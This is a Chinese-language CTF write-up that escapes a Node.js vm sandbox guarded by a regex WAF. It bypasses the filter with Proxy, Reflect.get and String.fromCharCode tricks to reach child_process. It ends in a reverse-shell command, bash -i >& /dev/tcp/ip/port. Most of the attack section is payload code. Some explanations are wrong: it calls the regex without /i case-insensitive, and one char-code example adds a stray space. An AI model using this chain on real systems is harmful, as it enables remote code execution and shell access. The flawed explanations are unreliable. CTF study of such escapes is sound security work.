全世界最简单的CTF
这次比赛没有做出来,看了wp,感觉差一点东西,也学到了一些绕过waf的方法
这次主要是没有回显这个问题
首先读取到源码
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");
app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))
app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})
function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}
app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})
app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})
app.listen(3000, ()=>{
console.log("listen on 3000");
})
很明显的vm沙盒逃逸问题
如果没有任何过滤的payload的话应该是这样
throw new Proxy({}, {
get: function(){
const c = arguments.callee.caller;
const p = (c.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
但是题目过滤了很多东西,我们分别来思考怎么绕过
因为题目没有/i,所以对大小写不敏感
我们的process可以等价于
const pro='Process'.toLowerCase();
console.log(pro)//打印process
或者String.fromCharCode绕过
const pro=String.fromCharCode(32, 112, 114, 111, 99, 101, 115, 115)
console.log(pro)//输出process
我们绕过了process,还需要绕过exec
它就不能够这样绕过了,因为它是方法,不是字符,不能当作字符处理
我们通过反射来绕过,就是根据你提供的对象的键获取到对应的值
Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))
这样就可以获得eval方法
我们来实现一下
第一步是要获得global这个模块,原来是获取process模块,但是如果我获取到了global,那什么都好获取了
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
}
然后就要获取我们的process模块,并且引用child_process
const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
child_process
const a = Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('pro')));
const b=process.mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));
console.log(a)//获取到process
console.log(b)//获取到child_process
任何就是获取exec并执行命令
return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
获取a对象的exec这个对象去执行后面的命令